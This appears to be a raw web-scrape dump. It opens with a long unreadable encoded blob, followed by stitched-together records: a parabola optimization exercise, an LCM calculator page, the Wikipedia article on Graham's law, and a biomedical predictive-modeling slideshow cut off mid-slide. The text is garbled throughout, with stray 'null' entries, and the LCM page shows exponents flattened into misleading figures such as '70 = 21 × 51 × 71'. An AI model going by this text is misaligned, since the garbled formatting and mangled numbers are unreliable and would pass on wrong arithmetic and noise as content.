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uv95Y033rB58+bZiSeeGFqtsvTeobr17NnTTb4WWhnjSTLbxCiKxQjkncB3333nhoPwbi6GV1DXypVXXukmFgtfruEy1PpaQ9dcdtll7mZH+PrTTjvNfdb6mYgsn6//ZOoW7sBzBLIpoECkeitoQkN9nuv7sD7b1RNEDQO8z+TIOul6Vo8Q/b3revY+c5VPZVx11VV24IEHltlMvTV0s3HAgAF27bXXhhpLqKeJhtuJlpL53q9ysvV5z/Ue7ayxDIHkBAiAJufGVgggUMQCCphojKJYSROoqAWXuraqW6uSxudRCg+EuAVh/2mdur2qdWp4AFTjIG633XZhORM/TWabxKWSA4HMC3its3feeedQl/JEe23durULgOrHkm406BpVGjFihJtgTNfreeed525AKI9aRj722GPux5bG7tTM0mq1rTF81bX8oosuctvHm4hIGdTVPdoNDa3TjRCvFWd4K9ZE7wXee4TnoLKUNJHSn/70J9+THiW7jdsZ/yGQ5wL6rOzbt6/7zGzfvr27caDPW00qqInE1KLrmmuucWPyekNTeIeklmHnn3++e6/QjUVdc9pOszvrfUE3Go866igve8zHfL7+k6lbzANlBQIZFvA+KxWs9Bou9OjRwwVA1eBAQ0fFGvZFjRH69+/vvpdrckF9X9ZNRE2ipMkC9T2g+e+9RcKTNy62PuNbtWrleogo8BorJfO9X2Vl6/Oe6z3WmWM5AsEFCIAGN2MLBBAoYQH96Lr//vudgO5Me4GYn376yS3zghvRiLyZ5L28Xp6gwU9tl8w23v54RCCXAl7gT0EIv0kBUCV1gVPrZwU8vWCGWnqMHDnSzR6vPBp/VxMs6IfRk08+6Vp87L333m4CIi8AqnF5U00PPvigLVu2zN0E6dWrV6g47/qO9V4Q632gQYMGoTL8PklmG79lkw+BXApoHFwFQXWz8M4773TDYKg+3bp1c63Ajj32WNej4q233nLXfHhdFfzQtaH3BW8YCuXXGLwac1AtzvwEQMPLjHyeD9d/ZJ2817Hq5q3nEYFsCmiIGq/7u3o3eEmf1TVr1rTly5e7gGbnzp29VWUe9bmvG5j6u/aCp7opou8QGidcrUB1YyO8VbfeOxo1auR6gmkccQ2PFXmjpMxO4ryI9b1fm2Tz8z5WFbneY8mwHIHoAowBGt2FpQgggEA5AXWF1bh8CsCou8zRRx8dyqNxDZW8L2ehFWFP9CVMKVbX+rCsPEWgaAW8sbmCBEDDx8XV9af05ptvusc///nPoeCnW/D7f5q0SAEPtagM7xrvrU/1UTO6659arOjHlxdk0Q897/qO9V7gvQ/oBxkJAQSiC6iFuIawGDRoUJnAhnLrpsfuu+/uNlSgI1pSl1rvuvTWK+CipO64qaR8vv5j1S2V42VbBFIR0Pi9CnLWr1/f9t1331BRCkiq54OSN0RNaGXEk9NPP73c92vdxND3CN1U9b5XhG+mVqXe522ywc943/vz4fOe6z38jPMcAX8CtAD150QuBBAocQF9uRo4cKD74bTrrru61mXhJLqLraSu8bGSF/BI9otYrHJZjkAhCWgMMCXvpoGfuntBT+X1ftAsWrTIbaqWIJFJLbM1XlgmkrrbqbWJgp/qgqvWpl7SMo0/qBZo3vXurfMeveWJut97+XlEoBQF9tlnH9M/L2nsXgUu9Vmscfe8SU20PFpq1qxZucUNGzZ0yyInIiyXMc6CfL7+49UtziGxCoGMCqg1t5LGug9vpallahGqLvBqya3rO9aN0WhjaqssDT+j7RYuXFhuAtFo7wHap9+U6Ht/rj/vud79nknyIVBWgABoWQ9eIYAAAuUENFnJFVdc4brj6QeZZqX2Ap5eZq8r6tq1a71F5R69liqR25bLyAIEilhAQYhPPvnEtdrwe5jeOFv6waHWXwpgaKZXJS+o4besZPOpG94tt9xiGgNYwcvrrrvOzfQeWZ7eC9QixbveI9d7y3kfiJThNQJlBb799ls3xq9akCkYER64jAyklN3SyrUK13rv5ovGEQ6a8vn691u3oMdMfgRSFdDnnSY+VHrxxRdNEw9GS7omFQg999xzy63W560+96Ml7/P/s88+cwHW8Dyxxu8OzxPruZ/v/do2F5/3XO+xzhrLEfAnQBd4f07kQgCBDAtE+0HiLfPG2fRTBX0xSGeaNm2aXXzxxS6YobvXQ4cOLRf81P68AKgX3IhWBy84Gm+CpWjbsQyBYhLYc8893eHoB4t3jSc6vk8//dRl2WWXXUItSNT9TClWCzC3Mk3/6bpWi1IFPzWGp8Yk7Nq1a9TSE70X8D4QlY2FJSIQ7Zr3loV/1uuaVzf2sWPHuuBnmzZt3JAW6hKvbp/xJjQRpW6WpCvl8/UfpG7p8qAcBPwK6DNT38t180E3LfR5HfnPuxmosXmjfYf33h+i7dMbcsYbWzs8T7K9LPx+79e+sv15z/UefoZ5jkByArQATc6NrRBAIE0C6sqmllSa3fXuu+8uU+oPP/zgXntfjryV+mGj4Ed4axBvndctznudyqPuVt92222uCM0kfeaZZ8YszrsLrZZf3pe98Mw6lu+//979KNOMlCQESlVAY37de++9bvZUTYwQPoFQNBONHeaND3b44Ye7LJUrV3YTHOh6/+6770I/QsK3f//99914vRqywrs+w9f7fa6A5V/+8hf7/PPPbYcddnDvCU2bNo25ubevxYsXRw3SaLmSgrkkBEpFQJOSvf76664VtSYlC0/RPuuHDBnihpLQeL7qgRE5dIw3jqd3IyS8vHQ+z+frP2jd0ulCWQj4EfC6v5999tmm8bqjJY2zqfG6NdTNa6+95sbwDs+n79SrV6+O2gpU3w+UdIMkHSnI937tL5uf91zv6TjDlIHA7zdIQUAAAQRyKaDx8hTAUHfWyJZcWq4U2fXFGwNQX4gikxdciFwe9LUmWFFrT7VI0Y+veMFPla2uNm3btnUTrmgso8ikGat1fMpTo0aNyNW8RqBkBDQRgiYoUnrggQfc5AixDl43Oe666y43tq5mgfUCoMrfvHlzt9kbb7zhHiP/U9nXXnutqaWpktciLF5rksgylFfXv4Kf+oGlMuMFP7W9N6nD1KlTI4tzN27UukQp2til5TZgAQJFIqDxsTU2rjd0hXdYusZ1c1DJ+6zXD33vs/yss84qF/xUObrZqBT5vcEtTNN/+Xz9J1O3NLFQDAK+BDROt/7pe/Qf/vCHmNvoO4HXovv555+Pmm/27Nnllut9Ys6cOW5569aty60PuiDo936Vn63Pe673oGeT/AjEFiAAGtuGNQggkAUBBQ4VENSd38cffzw0cYhadj377LOuBpGBAm9g80ceeaRMDefOnevGCyuzMIkXmqTkjjvucN1zddc6UQs1bxennHKKe6p6qZuKlxTIHT16tHt5wgkneIt5RKBkBc477zwXSNR137dvX/OCguEgGvNP+WbNmuUWX3311aEJkLTgtNNOc8ufeeaZckEVlafW5eoW502k4rUgU8BkxYoVbttE/6k1yPz5810LU90QqVOnTqJN3A85BWf1w2/SpEll8j/xxBOm1i477rijRZvUoUxmXiBQRAJez4fw61U/6h988EF3Y0BdZDWhiZKuVW+MTy/A4VHo81k3JbyusvEmHvS2SfYxn6//ZOqWrAPbIZCMgLq0K3Xo0MF0AzNe8r5nq+dG5E0Sbafv1V5rT73WjZN77rnH3VQ55JBDrG7dulqcdEr2e78Ct9n4vOd6T/rUsiEC5QToAl+OhAUIIJBNgerVq9upp55qDz30kD388MM2ZswY1x1eMzqqa5t+NEV2mznuuOPsww8/tBkzZtjpp5/uWlKphZaWHXDAARbtTnGQY9IPNK8r/ciRI03/YiVNiHTggQe61RoTUN1aP/74Y1PgVF/K9CVNLcEU9OjcubN169YtVlEsR6BkBNTyW93gFdRUgHHw4ME2bNgw23nnnV2QU8FDTYCiVKtWLTfbun5Ehafdd9/djjnmGFOLkX79+rluc+qOpgkX9H6gVidqAeqNA6ZHtTTRtagW3dttt53rjuuN4RVetp7rB5FafCqtXLnS9L4TK6neev9S0n5VHw3toW68aqGq9zEdp54r0KNxDJWPhECpCBx//PFuPM9ly5a5sT3VYks3IryeHLom9H1ASQFQfVa+8sor7n1CQZF27dq56/qdd95xvUbUIlvjhPq9mRHUOZ+v/2TrFtSA/AgkK6AbE7p+lTR+fqK0//77m8bH1/uBPtM19n540jAZag2uITF0Y1Pf83X96zu3vkekmpL93p+Nz3uu91TPLtsjUFaAAGhZD14hgEAOBBQAVfrXv/7lWk5qhmj9ANIPnmuuuabcpEPqBqvAogIo6ianfwqoKBiisfq8LinJHsoHH3wQ2jRR97rw8cfUYkV3pNV6VAO/q7WXkpbrx59mt/S64YZ2wBMESlRAP3Y07u/kyZNNPz4UtFQrbi+pRUf37t3dtaNgZbQ0cOBA9wNIgUpvrDHla/57C8wBAwaEWn962+r9RDctFARV69Mvv/wy6vihyq9WKOEtueO9F+j9KDx16dLFvQ8oAKrhL/RPSfW65JJL3HtbeH6eI1DsAhrLW5+Puib0Ga+bnErqBXLSSSe5az3cQJOO6WaBWlErkKJ/+izVjRC1xlag5MILL3QtxPv375/2Gwr5fP2nUrdwY54jkCkB9dzQ56e+y+vzMFHSuN49evSwJ5980n0nUO8P74aIttUNUn3nHzdunCtK3w+UX9+rtY9UU7Lf+7XfTH/ec72nenbZHoGyAhV+736ypewiXiGAAAK5EVCXNo3rpTvHalGlL0SJ0tdff23r16+3li1bhrrMJdomG+sVEFFAR2+xGjMwciKnbNSBfSBQSAIaz0sTm2hWVwU81WXO6wbr5zjUSlMtt7fffvuE3e0UANX7i58u7X72HS+P9qX3NbVObdSoETdB4mGxriQENOanWoIq+BmrBbYHoSCKPuf1XqChI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http://webspace.ship.edu/msrenault/GeoGebraCalculus/derivative_app_opt_parabola.html | [
"## Optimization - Rectangle Inscribed in a Parabola\n\nHELP\nA rectangle is inscribed between the `x`-axis and a downward-opening parabola, as shown above. The parabola is described by the equation `y = -ax^2 + b` where both `a` and `b` are positive. You can reshape the rectangle by dragging the blue point at its lower-right corner.\n\nNote: `x` is the distance from the origin to the lower-right corner of the rectangle; `x` is not the length of the base of the rectangle!\n\n#### Explore\n\n1. Let `a = 1` and `b = 7`. What value of `x` maximizes the area of the rectangle?\n2. Let `a = 1` and `b = 7`. What value of `x` maximizes the perimeter of the rectangle?\n3. Repeat the above two problems for `a` and `b` in general.\n4. From the previous exercise you can see that the `x` value where the perimeter is maximized depends only on the parameter `a`. Describe all parabolas that have an inscribed rectangle of maximum perimeter at `x = 1`.\n5. Occasionally it happens that for a given parabola the same value of `x` maximizes the area and the perimeter of the rectangle. If a parabola has this property, what is the relationship between `a` and `b`? Verify you findings by trying a few examples with the applet."
]
| [
null
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https://www.gcflcm.com/lcm-of-70-and-89 | [
"# What is the Least Common Multiple of 70 and 89?\n\nLeast common multiple or lowest common denominator (lcd) can be calculated in two way; with the LCM formula calculation of greatest common factor (GCF), or multiplying the prime factors with the highest exponent factor.\n\nLeast common multiple (LCM) of 70 and 89 is 6230.\n\nLCM(70,89) = 6230\n\nLCM Calculator and\nand\n\n## Least Common Multiple of 70 and 89 with GCF Formula\n\nThe formula of LCM is LCM(a,b) = ( a × b) / GCF(a,b).\nWe need to calculate greatest common factor 70 and 89, than apply into the LCM equation.\n\nGCF(70,89) = 1\nLCM(70,89) = ( 70 × 89) / 1\nLCM(70,89) = 6230 / 1\nLCM(70,89) = 6230\n\n## Least Common Multiple (LCM) of 70 and 89 with Primes\n\nLeast common multiple can be found by multiplying the highest exponent prime factors of 70 and 89. First we will calculate the prime factors of 70 and 89.\n\n### Prime Factorization of 70\n\nPrime factors of 70 are 2, 5, 7. Prime factorization of 70 in exponential form is:\n\n70 = 21 × 51 × 71\n\n### Prime Factorization of 89\n\nPrime factors of 89 are 89. Prime factorization of 89 in exponential form is:\n\n89 = 891\n\nNow multiplying the highest exponent prime factors to calculate the LCM of 70 and 89.\n\nLCM(70,89) = 21 × 51 × 71 × 891\nLCM(70,89) = 6230"
]
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https://en.wikipedia.org/wiki/Graham's_law | [
"# Graham's law\n\nGraham's law of diffusion was formulated by Scottish physical chemist Thomas Graham in 1848. Graham found experimentally that the rate of effusion of a gas is inversely proportional to the square root of the molar mass of its particles. This formula can be written as:\n\n${{\\mbox{Rate}}_{1} \\over {\\mbox{Rate}}_{2}}={\\sqrt {M_{2} \\over M_{1}}}$",
null,
",\n\nwhere:\n\nRate1 is the rate of diffusion for the first gas. (volume or number of moles per unit time).\nRate2 is the rate of diffusion for the second gas.\nM1 is the molar mass of gas 1\nM2 is the molar mass of gas 2.\n\nGraham's law states that the rate of diffusion or of effusion of a gas is inversely proportional to the square root of its molecular weight. Thus, if the molecular weight of one gas is four times that of another, it would diffuse through a porous plug or escape through a small pinhole in a vessel at half the rate of the other (heavier gases diffuse more slowly). A complete theoretical explanation of Graham's law was provided years later by the kinetic theory of gases. Graham's law provides a basis for separating isotopes by diffusion—a method that came to play a crucial role in the development of the atomic bomb.\n\nGraham's law is most accurate for molecular diffusion which involves the movement of one gas at a time through a hole. It is only approximate for diffusion of one gas in another or in air, as these processes involve the movement of more than one gas.\n\nIn the same conditions of temperature and pressure, the molar mass is proportional to the mass density. Therefore, the rates of diffusion of different gases are inversely proportional to the square roots of their mass densities.\n\n${\\mbox{r}}\\propto {{\\mbox{1}} \\over {\\sqrt {d}}}$",
null,
"## Examples\n\nFirst Example: Let gas 1 be H2 and gas 2 be O2. (This example is solving for the ratio between the rates of the two gases)\n\n${{\\mbox{Rate H}}_{2} \\over {\\mbox{Rate O}}_{2}}={\\sqrt {M(O_{2}) \\over M(H_{2})}}={{\\sqrt {32}} \\over {\\sqrt {2}}}={\\sqrt {16}}=4$",
null,
"Therefore, hydrogen molecules effuse four times faster than those of oxygen.\n\nGraham's Law can also be used to find the approximate molecular weight of a gas if one gas is a known species, and if there is a specific ratio between the rates of two gases (such as in the previous example). The equation can be solved for the unknown molecular weight.\n\n${M_{2}}={M_{1}{\\mbox{Rate}}_{1}^{2} \\over {\\mbox{Rate}}_{2}^{2}}$",
null,
"Graham's law was the basis for separating uranium-235 from uranium-238 found in natural uraninite (uranium ore) during the Manhattan Project to build the first atomic bomb. The United States government built a gaseous diffusion plant at the Clinton Engineer Works in Oak Ridge, Tennessee, at the cost of $479 million (equivalent to$5.57 billion in 2020). In this plant, uranium from uranium ore was first converted to uranium hexafluoride and then forced repeatedly to diffuse through porous barriers, each time becoming a little more enriched in the slightly lighter uranium-235 isotope.\n\nSecond Example: An unknown gas diffuses 0.25 times as fast as He. What is the molar mass of the unknown gas?\n\nUsing the formula of gaseous diffusion, we can set up this equation.\n\n${\\frac {\\mathrm {Rate} _{\\mathrm {unknown} }}{\\mathrm {Rate} _{\\mathrm {He} }}}={\\frac {\\sqrt {4}}{\\sqrt {M_{2}}}}$",
null,
"Which is the same as the following because the problem states that the rate of diffusion of the unknown gas relative to the helium gas is 0.25.\n\n$0.25={\\frac {\\sqrt {4}}{\\sqrt {M_{2}}}}$",
null,
"Rearranging the equation results in\n\n$M=({\\frac {\\sqrt {4}}{0.25}})^{2}={\\frac {\\mathrm {64g} }{\\mathrm {mol} }}$",
null,
"## History\n\nGraham's research on the diffusion of gases was triggered by his reading about the observation of German chemist Johann Döbereiner that hydrogen gas diffused out of a small crack in a glass bottle faster than the surrounding air diffused in to replace it. Graham measured the rate of diffusion of gases through plaster plugs, through very fine tubes, and through small orifices. In this way he slowed down the process so that it could be studied quantitatively. He first stated in 1831 that the rate of effusion of a gas is inversely proportional to the square root of its density, and later in 1848 showed that this rate is inversely proportional to the square root of the molar mass. Graham went on to study the diffusion of substances in solution and in the process made the discovery that some apparent solutions actually are suspensions of particles too large to pass through a parchment filter. He termed these materials colloids, a term that has come to denote an important class of finely divided materials.\n\nAround the time Graham did his work, the concept of molecular weight was being established largely through the measurements of gases. Daniel Bernoulli suggested in 1738 in his book Hydrodynamica that heat increases in proportion to the velocity, and thus kinetic energy, of gas particles. Italian physicist Amedeo Avogadro also suggested in 1811 that equal volumes of different gases contain equal numbers of molecules. Thus, the relative molecular weights of two gases are equal to the ratio of weights of equal volumes of the gases. Avogadro's insight together with other studies of gas behaviour provided a basis for later theoretical work by Scottish physicist James Clerk Maxwell to explain the properties of gases as collections of small particles moving through largely empty space.\n\nPerhaps the greatest success of the kinetic theory of gases, as it came to be called, was the discovery that for gases, the temperature as measured on the Kelvin (absolute) temperature scale is directly proportional to the average kinetic energy of the gas molecules. Graham's law for diffusion could thus be understood as a consequence of the molecular kinetic energies being equal at the same temperature.\n\nThe rationale of the above can be summed up as follows:\n\nKinetic energy of each type of particle (in this example, Hydrogen and Oxygen, as above) within the system is equal, as defined by thermodynamic temperature:\n\n${\\frac {1}{2}}m_{\\rm {H_{2}}}v_{\\rm {H_{2}}}^{2}={\\frac {1}{2}}m_{\\rm {O_{2}}}v_{\\rm {O_{2}}}^{2}$",
null,
"Which can be simplified and rearranged to:\n\n${\\frac {v_{\\rm {H_{2}}}^{2}}{v_{\\rm {O_{2}}}^{2}}}={\\frac {m_{\\rm {O_{2}}}}{m_{\\rm {H_{2}}}}}$",
null,
"or:\n\n${\\frac {v_{\\rm {H_{2}}}}{v_{\\rm {O_{2}}}}}={\\sqrt {\\frac {m_{\\rm {O_{2}}}}{m_{\\rm {H_{2}}}}}}$",
null,
"Ergo, when constraining the system to the passage of particles through an area, Graham's Law appears as written at the start of this article."
]
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https://fr.slideserve.com/bud/introduction-to-biomedical-informatics-data-mining-predictive-modeling-powerpoint-ppt-presentation | [
"",
null,
"Download",
null,
"Download Presentation",
null,
"Introduction to Biomedical Informatics Data Mining: Predictive Modeling\n\n# Introduction to Biomedical Informatics Data Mining: Predictive Modeling\n\nTélécharger la présentation",
null,
"## Introduction to Biomedical Informatics Data Mining: Predictive Modeling\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n1. ### Introduction to Biomedical InformaticsData Mining: Predictive Modeling\n\n2. Outline Predictive Modeling Focus on classification Logistic regression Decision trees Key Concepts Overfitting and generalization Optimization algorithms for fitting models Model evaluation Additional Resources and Recommended Reading Discussion of Project Proposals\n3. Sample Data Set Notation: Columns may be called “measurements”, “variables”, “features”, “attributes”, “fields”, etc Rows may be individuals, entities, objects, samples, etc\n4. Prediction Build a model that can predict this variable given the values of all the other variables\n5. Notation for Prediction y is the “target variable”: the variable whose value we wish to predict x is a vector of input variables used to predict Y Mathematically we wish to build models Y = f(x, q) where f is the functional form of the model q are the parameters of the model e.g., y = a x1+ b x2 + c, q= {a, b, c} Regression -> y is real-valued Classification -> y is categorical, e.g., y = {has disease, does not}\n6. Training and Test Data Use this data to fit the parameters of your model Training Data Use this data to get a true estimate of how well the model will perform in practice Test Data\n7. Basic Components of Predictive Modeling Training data: set of x’s and y’s Goal is to learn a model that predicts y given x Model A functional form f(x) that we will use to predict y The function has parameters that we can vary Could be a simple linear function…or a complicated nonlinear function Objective or Error Function How well does a particular model fit the data? Optimization algorithm An algorithm that finds the parameters that minimize the error on the training data\n8. Simple Example: Fitting a Line Training data: set of x’s and y’s Model: f(x) = a x + b (we have 2 parameters, a and b) Squared Error Function E = S [ y– f(x) ]2 = S [ y– ax - b]2 Important: note that E is a function of a and b , i.e., its really E(a, b) Optimization? (minimizing E) Here we can solve directly for the optimal a and b (usually not this easy..)\n9. Simple Example: Fitting a Line Weight Gain Drug Dosage\n10. Simple Example: Fitting a Line The a and b for this line will have a high error value E Weight Gain Drug Dosage\n11. Simple Example: Fitting a Line This is a much better fit, lower E value Weight Gain Drug Dosage\n12. f(x|a) E =distance(predictions,targets) e.g, = S (y – f(x|a) )2 Learning: minimizing E as a function of a targets,y predictions inputs,x\n13. 2: MODEL f(x|a) 1: DATA 3: OBJECTIVE FUNCTION E =distance(predictions,targets) e.g, = S (y – f(x|a) )2 4: OPTIMIZATION Learning: minimizing E as a function of a targets,y predictions inputs,x\n14. The Importance of Optimization Typical optimization problem in machine learning: Minimize E(a) = Si d (yi, f( xi | a ) ) where d is some distance function like squared error As a function of a, this is a p-dimensional optimization problem Usually no direct solution – many iterative gradient-based techniques\n15. Iterative Optimization For many optimization problems the solution (the location of the point in parameter space with minimum error) cannot be calculated directly A common approach is iterative “local search” optimization, e.g., Start in some random location For each iteration Compute what direction is “downhill” from this point E.g., we can use the gradient of the function if we can compute it Repeat, unless there is no downhill direction from the current location This simple heuristic search method can be very effective. Often referred to as “hill climbing” or “gradient descent”\n16. Optimization E(a) Easy (convex) a\n17. Optimization E(a) Easy (convex) a E(a) Hard (non-convex) a\n18. CLASSIFICATION METHODS\n19. Classification Problems Training data e.g., {x, y} pairs, where y = binary target 0/1, x = input vector Prediction Model Goal is to learn a function that can classify future x’s as either y=0 or y=1 We are often interested in modeling p(y=1 |x) so that we have an idea of how likely it is that y=1 given the values x\n20. Examples of Classification Problems\n21. Examples of Classifiers Naïve Bayes: simple, but often effective in high dimensions Logistic regression: simple, linear in “odds” space, widely used in industry Neural network: non-linear extension of logistic, can be difficult to work with Support vector machines: generalization of linear discriminants, can be quite effective, computational complexity can be an issue k-nearest neighbor: simple, can scale poorly in high dimensions Decision trees: often effective in high dimensions, but biased\n22. Nearest Neighbor Classifiers kNN: select the k nearest neighbors to x from the training data and select the majority class from these neighbors k is a parameter: Small k: “noisier” estimates, Large k: “smoother” estimates Best value of k often chosen by cross-validation Comments Virtually assumption free Gives piecewise linear boundaries (i.e., non-linear overall) Disadvantages Can scale poorly with number of variables: sensitive to distance metric Requires fast lookup at run-time to do classification with large n Does not provide any interpretable “model”\n23. Logistic Regression Target variable y is binary, e.g., does this person have disease Y or not? Candidate model: f(x | a) = a 0 + a 1 x1 + a 2 x2 + …. + a dxd Problem: this can give predictions that are negative, > 1, etc.\n24. Logistic Regression Target variable y is binary, e.g., does this person have disease Y or not? Candidate model: f(x | a) = a 0 + a 1 x1 + a 2 x2 + …. + a dxd Problem: this can give predictions that are negative, > 1, etc. Better approach: f(x) = g (a 0 + a 1 x1 + a 2 x2 + …. + a dxd) = g (S ajxj ) where g(z) = 1 / [ 1 + e-z ] This is known as a logistic regression model\n25. Another View of Logistic Regression f(x) = 1/ [ 1 + exp( - S ajxj) ] What happens as S ajxj goes to + infinity? What happens as S ajxj goes to - infinity? What happens when S ajxj= 0 ?\n26. Another View of Logistic Regression f(x) = 1/ [ 1 + exp( - S ajxj) ] What happens as S ajxj goes to + infinity? What happens as S ajxj goes to - infinity? What happens when S ajxj= 0 ? As the weighted sum S ajxjvaries from negative to positive values, the f(x) function, our model for p(y=1|x) varies between 0 and 1\n27. More on Logistic Regression p(y=1|x) = f(x) = 1/ [ 1 + exp( -) ] We can rewrite this as: log [ p(y=1|x)/p(y=0|x) ] = S ajxj Log-odds Weighted sum\n28. Objective Function for Logistic Regression Objective function = log probability of the training data P (training data) = Pp ( y |x ) = P f(x) Log P (training data) = S log p(y|x) = S log f(x) Why is this useful? Seek the model (weights) that give the highest probability to the observed data In statistics this is known as maximum likelihood estimation Has a number of good properties product/sum is over x’s in the training data\n29. Learning/Optimization for Logistic Regression The log probability, for the logistic regression model, is convex So there is only 1 global maximum, makes optimization easy An iterative algorithm called IRLS is often used in practice Start with random weights, move downhill, repeat until convergence - LogP a\n30. Two Applications of Logistic Regression\n31. L. Backstrom, invited keynote talk at ESWC 2012 Online video and slides at http://videolectures.net/eswc2011_backstrom_facebook/ L. Backstrom and J. Leskovec Supervised Random Walks: Predicting and Recommending Links in Social Networks ACM Conference on Web Search and Data Mining (WSDM), 2011 EXAMPLE: Recommending friends on facebook\n32. Learning to Suggest Friends on Facebook Problem: automatically suggest friends Restrict to “friends of friends” Still leaves 40,000 possibilities on average\n33. Learning to Suggest Friends Solution: learn a prediction model Target: user clicks or not on the recommendation Features: mutual friends, age, geography, etc Models: decision trees, logistic regression Significant engineering: feature computation in real-time, plus real-time feedback\n34. Learning to Suggest Friends Significant improvement in click-through rate when system went live\n35. J. Ginsberg, M. Mohebbi, R. Patel, L. Brammer, M. Smolinski, L. Brilliant Detecting influenza epidemics using search engine query data Nature, Februrary 2009 EXAMPLE: Detecting Flu Outbreaks from Search Engine Data\n36. Detecting Flu Outbreaks Problem: Influenza epidemics cause 250k to 500k deaths per year (worldwide) New strains can emerge quickly and be very dangerous A key factor in reducing risk is quick detection of an outbreak How are flu outbreaks currently detected? Center for Disease Control (CDC) gathers counts of “influenza-like illness” (ILI) physician visits Surveillance data published nationally and regionally, weekly basis Problem: 1 to 2 week reporting lag Other approaches Monitor over-the-counter flu medication sales Monitor calls to health advice lines\n37. Using Search Queries Idea: Discover influenza related search queries and use these to predict ILI counts Motivation: should be much faster than 1-2 week lag of CDC data Data: Look at all search queries in Google from 2003 to 2008 Several hundred billion individual searches in the United States Keep track of only the 50 million most common queries Keep a weekly count for each query Also keep counts of each query by geographic region (requires use of geo-location from IP addresses: >95% accurate) So counts for 50 million queries x 170 weeks x 9 regions\n38. Building a Predictive Model Target variable to be predicted: For each week, for each region I(t) = percentage of physician visits that are ILI (as compiled by CDC) Input variables: Q(t) = highest correlated queries / total number of queries that week Logistic Model:log( I(t) / [1 – I(t)] ) = a log ( Q(t)/ [1 – Q(t) ] ) + noise\n39. Addition of terms that generally correlate with flu season, but not with specific outbreaks, e.g., “high school basketball”\n40. Evaluating the Model Model fit to weekly data between 2003 and 2007 128 weeks Predictions made on 42 weeks of unseen test data in 2007-2008 9 regions Correlations per region of predicted ILI with actual ILI Mean = 0.97 Min = 0.92 Max = 0.99\n41. Key point in these graphs is that the CDC data was lagging Google predictions by 1 to 2 weeks\n42. Decision Tree Classification Algorithms\n43. Decision Tree Classifiers Widely used in practice Can handle both real-valued and categorical variables (unusual) Useful with large numbers of variables Popular in areas like medical diagnosis due to interpretability historically, developed both in statistics and computer science Statistics: Breiman, Friedman, Olshen and Stone, CART, 1984 Computer science: Quinlan, ID3, C4.5 (1980’s-1990’s)\n44. Decision Tree Example Blood Pressure Temperature\n45. Decision Tree Example Blood Pressure Temperature > t1 Temperature t1\n46. Decision Tree Example Blood Pressure Temperature > t1 t2 Blood Pressure > t2 Temperature t1\n47. Decision Tree Example Blood Pressure 